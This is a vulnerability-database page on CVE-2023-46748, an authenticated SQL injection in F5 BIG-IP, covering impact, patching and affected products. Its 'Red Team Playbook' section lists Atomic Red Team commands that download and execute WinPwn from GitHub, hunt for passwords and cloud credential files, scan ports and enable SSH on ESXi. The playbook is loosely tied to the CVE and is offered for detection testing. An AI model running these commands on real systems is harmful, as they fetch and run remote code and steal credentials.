CVE-2023-46748
Overview
This vulnerability is an authenticated SQL injection affecting the BIG-IP Configuration utility of F5 BIG-IP. The root cause lies in improper sanitization of user-supplied input within the configuration management interface, allowing crafted SQL queries to be injected and executed. The flaw exists in the management port and self IP address accessible components of the BIG-IP Configuration utility.
Vulnerability Description
An authenticated SQL injection vulnerability exists in the BIG-IP Configuration utility which may allow an authenticated attacker with network access to the Configuration utility through the BIG-IP management port and/or self IP addresses to execute arbitrary system commands. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated
Impact
An attacker with valid credentials and network access to the BIG-IP management interface can exploit this vulnerability to execute arbitrary system commands on the underlying system. This can lead to full system compromise, unauthorized data access, and lateral movement within the network. The prerequisite is possession of an authenticated account with access to the Configuration utility. Successful exploitation may allow attackers to manipulate device configurations or disrupt service availability, severely impacting business operations.
Solution
F5 Networks has released security updates addressing this vulnerability in supported BIG-IP versions as detailed in advisory K000137365 available at https://my.f5.com/manage/s/article/K000137365. Administrators should apply the recommended patches promptly to affected BIG-IP Access Policy Manager instances. No alternative workarounds are provided; adherence to the vendor’s patching guidance is essential to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An authenticated SQL injection vulnerability has been identified in the BIG-IP Configuration utility, which poses a significant risk to organizations utilizing affected versions of F5's BIG-IP products. This vulnerability allows an authenticated attacker with network access to the Configuration utility through the management port or self IP addresses to execute arbitrary system commands. The underlying issue stems from improper input validation, which enables the attacker to manipulate SQL queries executed by the application. This flaw can lead to unauthorized access to sensitive data, modification of system configurations, and potentially full control over the affected system.
The attack vectors for this vulnerability are particularly concerning due to the requirement for authentication. An attacker must first gain access to the Configuration utility, which could be achieved through various means such as phishing, credential stuffing, or exploiting weak passwords. Once authenticated, the attacker can leverage the SQL injection flaw to execute commands that could compromise the integrity and availability of the system. Scenarios may include altering firewall rules, extracting sensitive information, or deploying malware, thereby escalating the attacker's privileges and control over the network infrastructure.
The real-world impact of this vulnerability is profound, especially for organizations that rely on F5's solutions for critical network operations. The potential for data breaches and service disruptions can lead to significant financial losses, reputational damage, and legal repercussions. Organizations may face regulatory scrutiny if sensitive customer data is exposed or if they fail to protect their systems adequately. Additionally, the exploitation of this vulnerability could serve as a foothold for further attacks, allowing attackers to pivot to other systems within the network, thereby amplifying the risk.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected products is crucial, as F5 has released updates to address this issue. Employing web application firewalls (WAFs) can help filter and monitor HTTP requests for malicious payloads, providing an additional layer of defense against SQL injection attacks. Furthermore, organizations should conduct regular security assessments, including penetration testing and code reviews, to identify and remediate vulnerabilities proactively. Educating employees about secure authentication practices and the importance of strong passwords can also reduce the risk of unauthorized access.
In conclusion, the authenticated SQL injection vulnerability in the BIG-IP Configuration utility represents a serious threat to organizations using F5's products. The ability for an authenticated attacker to execute arbitrary commands can lead to severe consequences, including data breaches and operational disruptions. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar threats. Proactive security measures and a culture of vigilance are essential in safeguarding critical infrastructure from evolving cyber threats.
Affected Products (100)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Ddos Hybrid Defender | All |
cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Ddos Hybrid Defender | All |
cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Ddos Hybrid Defender | All |
cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Ddos Hybrid Defender | All |
cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Ddos Hybrid Defender | All |
cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-46748 |
| my.f5.com |
GitHub CVE
vendor-advisory
|
https://my.f5.com/manage/s/article/K000137365 |
| secpod.com |
GitHub CVE
|
https://www.secpod.com/blog/f5-issues-warning-big-ip-vulnerability-used-in-active-exploit-chain/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-46748 |